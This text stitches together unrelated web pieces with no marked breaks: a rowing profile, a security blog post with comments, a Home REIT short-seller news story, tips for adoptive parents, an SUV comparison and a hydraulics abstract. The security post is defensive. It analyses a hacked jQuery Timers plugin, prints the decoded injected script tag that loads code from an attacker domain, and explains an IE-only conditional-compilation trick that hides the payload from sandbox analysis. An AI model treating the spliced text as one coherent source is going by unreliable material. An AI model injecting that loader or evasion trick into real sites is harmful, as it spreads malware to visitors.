After completing the junior circuit – culminating in a 12th-place finish at the Junior World Championships' in 2012 – James went to Newcastle University to study History and Politics and develop his rowing further under the tutelage of legendary Italian coach Angelo Savarino. His key transition was moving from two blades to one in a program where heavyweight athletes undertook sweep rowing almost exclusively. It clearly paid off as he was selected for three U23 World Rowing Championships, ending with a silver medal in the men's four in 2016. "If you can move a single, you can move a pair, a four or an eight," explained James. "If you want to make a good sweep rowing crew, you should definitely know how to scull well".
Meanwhile, Kyra studied at UCLA in the US and rowed in UCLA's first varsity eight throughout her time there. The choice to go and study across the Atlantic, in programs revered for their razor-focus on harmony between academic studies and competitive racing, is one that is being considered by more and more top talent from the UK. As such, the GB Rowing Team has acknowledged that an athlete racing and studying in the US does not have to attend trials throughout the year; they need only submit scores for consideration. "Racing in the States is really similar to racing at U23 Worlds," said Kyra. "There's just such a good quality of girls rowing in the US and the standard of eights racing [is] the same standard as the World Championships essentially".
The step on
Despite the different routes they've taken, both James and Kyra were quick to acknowledge that the jump to senior international racing was exceptionally tough. "It's not even the same sport anymore," remarked Kyra. "You have to live, eat and breathe rowing to even stand a chance of being selected."
For James, it was all about getting used to a new programme. "I didn't get a personal best on the 2km erg for two years," said James. "It took a while to adjust to what was expected of me but now, I'm still making jumps and getting better. I'm also really fortunate to have not suffered from too many injuries; the team have helped me develop a proper weight-lifting regime, something I didn't do as a junior". Kyra has been less fortunate in this regard, picking up a couple of back injuries which ultimately meant she missed out on Tokyo Olympics. Her top tips for preventing back injuries are to spend as much time lying down as possible and to prioritise activation and recovery. Finally, be patient; "It will take time, but it will get better and you really will come out the other end stronger and fitter," she said.
James and Kyra have ticked off every stage of the GB rowing pathway and recognise that it is an extremely useful tool; it allows a natural progression from junior to U23 to senior and keeps athletes motivated as they move onto the next stage. Within those parameters, as evidenced by James and Kyra, each journey is unique and athletes peak at different times. Above all else though, staying firmly in love with the sport carries the most weight. "The most important thing is to enjoy your rowing," commented James. "Focus on the process and don't worry too much about the outcome".

Google blacklisted a client's website claiming that malicious content was being displayed from "forogozoropoto(dot)2waky (dot)com".
A scan didn't reveal anything suspicious. The next step was to check all third-party scripts on the website. Soon we found the offending script. It was hxxp://jquery .offput .ca/js/jquery.timers.js – a jQuery Timers plugin that was moderately popular 5-6 years ago.
Right now, the jquery.offput.ca site is hacked. The home page appears to be blank, but it contains a few hidden links, one of which leads to a pharma spam doorway on another hacked site:
All JavaScript files on the website contain malicious code.
The plugin script jquery.timers.js is no exception (note the first line of code):
The Payload
The malware in the JavaScript files is quite interesting.
First of all, the obfuscated part decodes to:
<script src="hxxp://forogozoropoto(dot)2waky(dot)com/7"></script>
So, we know this is definitely the source of the problem.
Next, you may have noticed this construction:
if(/*@cc_on!@*/false){malicious code}
Most browsers ignore the comment and never execute the malicious code, taking it as:
if(false){malicious code}
Internet Explorer is different. It interprets the comment as a conditional compilation statement and considers everything between /*@cc_on and @*/ as executable JavaScript. In this case, IE will see the injected code as:
if(!false){malicious code}
It will always execute the malicious code, due to the inclusion of the commented "!" character.
This IE-only, conditional compilation hack will prevent the forogozoropoto(dot)2waky(dot)com script from loading in non-IE browsers, even if using an IE User-Agent string. This means that if you are using, say, a Linux sandbox with a browser that pretends to be Internet Explorer, and then monitor the HTTP traffic — you will not see any requests to forogozoropoto(dot)2waky(dot)com.
What Happened to the jQuery Timers Plugin?
After the initial release and a few years of plugin support, the developer lost interest and abandoned the jquery.offput.ca site. The page says the plugin has moved to the official jQuery plugin repository, and all updates will be available there only:
However, the repository URL is redirecting to jQuery.com, and it can't be found using the search function. I suppose that the plugin has been completely abandoned, only living in local copies on some websites, and as as the hacked original version on the jquery.offput.ca site.
The Risks of Using Hosted Scripts
This is neither the first abandoned script, nor the last. Thousands of developers create plugins for jQuery. Many develop their own libraries. Some of those libraries become really popular, but there is no guarantee that developers will remain committed to supporting their software forever.
Of course, when you find some cool new script, you might want to do some tests linking directly to the script on the developer's website — it's fast, it works on any computer, and you don't have to worry about serving extra JavaScript files — just focus on your own code. However, what works during the test stage is not always a great idea for a live public site.
Consider these potential situations and outcomes:
- The plugin site is temporarily down (e.g. maintenance or server problem) — your site is broken.
- The plugin author updated the .JS file with a buggy or incompatible version of the plugin – your site is broken.
- The plugin author abandons the site (the domain expires) or moves the plugin to a different domain — your site is broken.
- The plugin site gets hacked and some malicious code is injected into the plugin file — your site is spreading malware to your visitors.
There are plenty of risks connected to using scripts from third-party websites. As a web developer, you should generally avoid this practice. The only reasonable exception is using JavaScript libraries from trusted CDNs (e.g. Google Hosted Libraries). You can be sure that the CDN will guarantee integrity and availability of the files you need for a reasonably long time. All the rest should be hosted on servers that you control.
Please review your site code. If it still uses the jQuery Timers plugin, make sure to use a local version (you can get a clean version here) and don't link to the infected jquery.timers.js file on the jquery.offput.ca site.
If you see any other scripts linked directly to third-party websites, you might want to consider serving those scripts directly from your site, or from a trusted CDN. This will prove to be a more reliable and secure solution.

Many thanks for this information. I never quite understood why people still link to 'external' Javascript on 3rd-party sites. I liken this to (directly) linking to 3rd-party websites – there's a reason why many websites issue disclaimers regarding links to external sites on their web pages.
Besides, aside the delicate security issues already mentioned here, linking to 3rd-party hosted javascript files increases site load time (more HTTP requests), which obviously is bad for SEO, not to mention user experience.
Actually, having scripts on another domain may help improve load time. Browsers try to load multiple assets (scripts, pictures, styles) using concurrent threads but the usually limit number of threads for resources from the same domain (so that they don't overload the server and it's channel). So having resources from other domains may increase the number of concurrent thread a browser uses for downloads. That's one of the reasons why people use CDNs. And it's quite a good practice to load script from trusted, secure and fast (geo-distributed) CDNs. But if it's just a site of some developer, you'd probably prefer to put the script on your own server.
CDNs yes, but those are designed specifically to improve availability and lower network latency/packet loss, so it isn't 'exactly' the same as linking to just about any 3rd party sites, which you'd often find in some websites. Again, the operative words being "trusted, secure and fast geographically distributed" CDNs.
As far as having scripts on another domain goes, I'd imagine this would only be the case if the resource is already cached in the browser? There's really no guarantee that that domain is hosted as part of a CDN, not to mention a trusted, secure and fast one. Consider for example, a script on a 3rd-party domain that is hosted on a server whose cpu/memory resource is maxed out at the time the request for the script is made.

Home REIT shares tank after attack from notorious short-seller
Shares in property investor Home REIT tanked nearly 25 per cent yesterday after it came under siege from notorious short seller Viceroy Research over the financial stability of the charity tenants in its property portfolio.
Viceroy, which previously campaigned against collapsed German payments firm Wirecard, said in a report this morning that the property investor's charity tenants in many cases cannot afford rent, are simply not paying or are run by bad actors.
FTSE-250 Home REIT buys up property and leases it to social housing organisations to provide sheltered accommodation for homeless people. However, Viceroy said that many of the tenants are not in the position to service the 25 year leases provided by Home REIT and were lured into signing contracts with the promise of cash kickbacks and properties.
"If the management were running an ethical and decent business, why was there a need to give incentives to charities – that are newly formed – in [the form of] £3m or properties," Perring told City A.M.
"I would call it an inducement and query the legality of it. Why is there a need to give these inducements to charities?"
Perring claimed his investment firm was now readying to file a complaint with the Metropolitan Police on the grounds it "fundamentally misled investors" and there were "suspicions it may be fraudulent."
Shares in the firm plunged on the publication of the report. As a short seller, Viceroy stands to profit from sharp falls in its share price.
Home REIT, which floated on the London Stock Exchange in October 2020 and raised £240m in the largest investment trust IPO that year, looked to rubbish the accusations yesterday.
"The report was published without any engagement with the Company's Board, Investment Advisor, or wider advisory team," Home REIT said in a statement.
"It is the Board's belief that the report is inaccurate and misleading in its comments about the Company, being based on mistaken assumptions, misinformed comments, and disputable allegations."
Bosses at the firm said they were preparing to publish a "full and detailed response" demonstrating the factual inaccuracies of Viceroy's allegations.
24.11.22 – This article was corrected to reflect that Noble Tree Foundation did not receive a Newcastle property as a donation from Home REIT.

When the adopted child has experienced a traumatic event
When a child is adopted, it is because things have not gone well and there is a family that has not been able to take care of him.

When a child is adopted, it is because things have not gone well and there is a family that has not been able to take care of him. This fact has to make you think that the origins of the child are not ideals and that it is very likely that he experienced a traumatic event beyond adoption that, in itself, is a traumatic event.
But apart from the adoption, it is easy for the child to have experienced other traumatic events: bad care, mistreatment, abuse of all kinds, who lived in areas where there have been disasters, wars, who have seen their relatives die. a sudden way, that they have separated him by the strength of his family ... All this leads to a series of losses and injuries that many times the child does not understand and, therefore, does not know how to manage and / or communicate but they manifest themselves in behaviors full of anger, rage, nightmares ... that parents do not understand.
How adoptive parents can help a child who has suffered a trauma
In an adoption, the child is a victim. Being adopted is not a luck, or yes, but within an unfortunate situation. No child likes to be adopted. A child likes to be normal. To have a father and a mother, to live in a house, to be loved ... If they had let him choose, he would have preferred to have been born directly into a family that offered him all that from the beginning. Here are some tips to try to bring this situation as well as possible:
1. Recognize the reality of your child. Assume that it comes from an already difficult situation and accept it without conditions.
2. Remind him continuously that you are there, that you love him,... reinforces the bond and his security in your relationship and in himself.
3. Do not try to know more about the account, do not press him to tell you things or judge them because he will feel attacked and will close in band. The child will share their experiences as they feel comfortable and you should only listen.
4. Seek to normalize your situation: make him understand that there are many children who go through difficult situations, that there are many circumstances and that he has not been to blame for anything that has happened to him.
5. Be patient: learn to observe, to read between lines and to detect needs.
6. Be discreet and do not try to justify. Sometimes, you may feel overwhelmed by the reality of the child and you may have the need to talk about your child's story because he or she is judged very harshly without knowing, but that does not apply to you. It is difficult to be silent before certain comments but it is the intimacy of your son, they are his experiences and, really nobody cares. In any case, he will have to tell it when he considers it.
7. Ask a professional for help to guide you as a father on how to face the reality of the child. Sometimes we think that you have to take the child to see a professional but not always prepared or know what that kind of things are. Many times, through direct parent - therapist work, indirect changes in the child are achieved that are more effective and less abrupt.

2020 Honda Pilot vs. 2020 Toyota Highlander: Japan's Top 3-Row SUVs Face Off
The eternal rivals go head to head
You've heard them all—Batman vs. Superman, Real Madrid vs. Barcelona, Apple vs. Microsoft. For as long as humankind has been competitive, rivalries have existed, with some even defining different points in world history and pop culture. In the auto industry, it's always been about Mustang vs. Camaro, but in the three-row SUV segment, there's always been one essential matchup: Honda Pilot vs. Toyota Highlander. They were both born as unibody crossovers with an independent rear suspension and demonstrated to the world that SUVs could also have the carlike driving abilities of minivans without the quirky looks, awkward proportions, and sliding doors.
The Highlander started production in 2000, with the Pilot arriving in 2002. The Highlander was originally conceived as a two-row SUV, but Toyota started offering a third row in 2004. The two vehicles quickly became rivals, competing for the number-one spot on the sales charts and fighting to offer the best amenities and innovative features. As their designs changed, their rivalry only grew. When the current-generation Pilot ditched its boxy design in 2015, things turned fierce, and even as new players entered the game, they have both continued to occupy the top two spots on the sales charts.
With an all-new Highlander on the market, we wanted to see which of the two is a better option for families. We spent a lot of time driving them back to back, checking out their interior space and materials, and playing with their infotainment systems to determine which of the two is the best SUV.
Meet the Rivals: Honda Pilot vs. Toyota Highlander
On paper, this matchup could hardly be closer. Both the Highlander and Pilot are powered by 3.5-liter V-6 engines that send power to all four wheels via an all-wheel-drive system. The fourth-generation Highlander is based on Toyota's modular TNGA-K platform, which underpins different products like the RAV4 and Camry. That V-6 engine delivers 295 hp and 263 lb-ft of torque, and it's mated to an eight-speed automatic. Although Toyota offers a Highlander Hybrid, we opted for the gas engine for a better matchup with the Pilot. Our Highlander XLE tester was equipped with 18-inch wheels, soft leatherette seats, and a second-row bench seat (captain's chairs are available at no charge on the XLE). With our tester coming in at $42,320, there's certainly a ton of value in this XLE.
On the other side of the ring, the Honda Pilot delivers 280 hp and 262 lb-ft of torque thanks to its VTEC engine and sends that power to all four wheels via a nine-speed automatic transmission. Our Black Edition Pilot arrived with black exterior trim. Its grille, 20-inch wheels, headlights, and tailgate are all blacked out. Based on the Elite trim, the Black Edition comes with standard all-wheel drive, leather seats with red inserts, and second-row captain's chairs. Given that the Black Edition is the top-of-the-line model, the price difference compared with the Highlander is pretty substantial. Its $50,740 price tag dropped our jaws. It's important to note that we asked both manufacturers to keep prices below $50,000, but Honda didn't have a different Pilot available during our testing dates.
Pilot vs. Highlander: Interior Comparison
Although exterior styling might solidify your choice as you shop for an SUV, the interior layout and packaging should also be a deciding factor. You want a spacious crossover that's comfortable enough for your kids and their friends yet sufficiently roomy for the occasional grandparents' visit. You also want an interior that you can enjoy—in the end, you'll be the one spending the most time here driving the kids to soccer practice and commuting to work.
For $42,000, the Highlander makes a great initial impression. The redesigned trays located under the 8.0-inch infotainment screen and on the front passenger's dash are a perfect place to put wallets, keys, and phones. Although its center console is not as spacious or deep as the Pilot's, there's a wireless charger for smartphones, and the door panels were redesigned to fit larger water bottles or documents. The second row is pretty comfortable, with two USB ports and its own automatic climate zone. The second-row seats and seat backs slide forward to provide enough room to climb into the third row with almost no issues, but once you're back there and the second-row seats are slid back, your knees will be screaming for help. With only 27.7 inches of legroom, the third row is tight, which is a huge miss for the newest entrant and most popular model of the segment.
Another misstep is the driver's seating position—it's too far inboard for the driver to rest his or her elbow comfortably on the door-mounted armrest. Features editor Christian Seabaugh described it as "a lazy engineering solution to ace crash tests." And because the infotainment screen isn't close to the driver's seat, it's hard for the driver to reach the tuning knob and could be dangerous to attempt when driving on the freeway.
We wish Toyota had updated the Highlander's infotainment system, as well. It needs new graphics and a faster processor.
Honda, on the other hand, is known for its brilliant packaging techniques, and the Pilot is no exception. With such a compact space to play with, Honda developed a living room-like interior, delivering plenty of space in the second and a third rows that's comfortable for short city drives for adults that are 6 feet tall. "Honda is so good at packaging, suspension tuning, and driveline integration that even a five-year-old Pilot can still impress," road test editor Chris Walton noted. Accessing the third row is as easy as talking to Siri on your phone—simply press and hold the button on the side of the second-row seat, and it will slide forward to give you enough space to climb in.
Although the Pilot's interior design isn't as sharp as the new Highlander's, there are areas where the Pilot delivers. The absence of a traditional gear lever makes the center stack seem more spacious, and the gigantic center console is deep enough to stow purses, laptops, or tablets. We aren't fans of the black-on-black interior (coincidentally not related to this being a Black Edition), and the lack of handy features like the Highlander's trays is sadly missed. For the 2019 model year, Honda equipped the Pilot with a new Android-based infotainment system that's easy to use and has better graphics, but the best news is that the volume knob is back. Our tester was also equipped with a standard but now old-school rear-seat entertainment system, which has one display located on the ceiling between the captain's chairs and comes with a Blu-ray player and HDMI ports. This type of entertainment system is quickly becoming obsolete, but we're sure some families still appreciate having the option.
What both SUVs missed are USB ports for third-row passengers. You buy a three-row crossover because you plan to use that third row at least some of the time, and when it does get used, you'll want your passengers to feel as connected as those in the second row.
Pilot vs. Highlander: Driving Impressions
Driving dynamics are not as important in three-row SUVs as in other segments, but you still want to make sure the ride is pleasant and make use of that punchy engine when you need to.
Although the Highlander won't surprise you with it speed, its disappointingly thrashy engine note might. Whether you're merging onto the freeway or trying to pass, the sound of the engine is very loud, and not in a good way. The eight-speed transmission is tuned to always hunt for the highest gear and can be partly blamed for that loud engine noise. Once you get up to speed, though, you'll enjoy the smooth suspension that delivers a peaceful ride. "The ride is so floaty that my wife asked me, 'Is this a minivan?'" editor-in-chief Mark Rechtin said. Whether you go over bumps or ruts, the Highlander's suspension will keep the cabin subtle. We know sportiness isn't this segment's raison d'être, but the Highlander's steering is so soft, it's almost without feedback.
We also hope Toyota refines the sound insulation in the Highlander. There's a severe amount of wind and tire noise that enters the cabin on freeway drives, which means you'll have a hard time talking to your kids in the back seat.
What surprised us the most about the Pilot was its 0-60 mph time. Although performance times don't matter too much in this segment, the Pilot stood out like a parrot among ravens. Its 6.2-second sprint is the quickest in the segment, and that really shines on the road. "The Honda's engine has a broad powerband and enough torque on tap to help keep you out of trouble," Seabaugh added. Although its nine-speed transmission is not the best, Honda made some improvements to provide smoother shifts and quicker downshifts.
Suspension-wise, the Pilot's ride is on the stiffer side, but not by much. Compared with the Highlander's, the Pilot's suspension can feel more rigid, but "the benefit is that body control is very good for the class," associate online editor Nick Yekikian said. And that was especially true on the twisty turns that run through the Palos Verdes Peninsula in Southern California, where our test drive took place. "The suspension is more alert, and steering response is more direct and precise," Rechtin added.
Although the Highlander delivers better fuel economy, according to the EPA (20/27/23 mpg in city/highway/combined driving versus the Pilot's 19/26/22), the Pilot sipped less fuel during our 25-mile loop. Whereas the Toyota's computer estimated an average of 18.1 mpg, the Honda's returned 21.2 after being driven on the same day under the same driving conditions.
Pilot vs. Highlander: How Do They Compare on Safety?
For 2020, the IIHS has made it more difficult for models to get the coveted Top Safety Pick and Top Safety Pick+ awards. All models must receive a Good rating on all six crash tests in order to receive an award, whereas in 2019 a score of Acceptable was enough. Because the 2020 Honda Pilot came out early enough, the IIHS awarded it with a 2019 Top Safety Pick rating, but the Pilot is disqualified from a 2020 Top Safety Pick award because it merely earned an Acceptable rating in the passenger's side small overlap front test.
NHTSA, however, rated the 2020 Pilot with five stars, the highest rating possible.
At the time of this writing, neither the NHTSA nor the IIHS have tested the 2020 Toyota Highlander. Given that the family SUV arrived in dealerships in mid-December, no safety ratings are available yet for the new-generation Highlander.
Pilot vs. Highlander Final Thoughts: Which Should You Buy?
Both the Pilot and Highlander bring their own sets of virtues to the ring—from interior features to driving dynamics to value. But all rivalries, as equally matched as they may be, have to have a winner.
In this case, the clear winner is the Pilot. It might be five years old and some of its features are aging, but the Pilot is still competent, continues to enjoy a spacious interior, and stands out in terms of performance. Its third row is roomy and easily accessible, its driving dynamics are sharp, and its interior features like the deep center console are greatly appreciated. Still, at over $50,000, it had us searching for the value we're used to seeing in Hondas.
The Highlander had us wishing for more. There's no excuse for having a cramped third row where only small children can sit, its lethargic powertrain needs to be refined, and the sound insulation should be improved. But for just over $42,000, the Highlander delivers amazing value, even by Toyota standards. Its styling is sharp and modern, and its redesigned trays improve the interior's utility.
It may be hard to guess who wins the Batman vs. Superman rivalry, but the champion of this face-off is the Pilot.

An analytical and experimental study of hydraulic vortex resistors
Steady-state empirical and analytical models were developed for symmetric and nonsymmetric vortex resistors. The empirical model for the nonsymmetric (NSVR) configuration (with flow in the high resistance direction) has been developed from experimental data taken on 24 different geometries and at temperatures of 35.0 C to 57.2 C (with MIL-5606A hydraulic oil). The model predictions exhibit a maximum error of 30 percent over the range of the experimental data. Empirical models were also developed for the NSVR configuration with flow in the low resistance direction, and for the SVR configuration. Approximate analytical models have been developed for the symmetric and non-symmetric vortex resistors. Two steady-state analytical models have been developed for the non-symmetric vortex resistor. A one-dimensional model has been developed for the symmetric vortex resistor configuration. Noise measurements made on three typical NSVR geometries (6.35 mm vortex chamber diameter) indicate that the signal-to-noise ratio (for signal levels up to 1,722 kN/sq m pressure drop) of a vortex resistor operating in the laminar flow regime is better than 900.
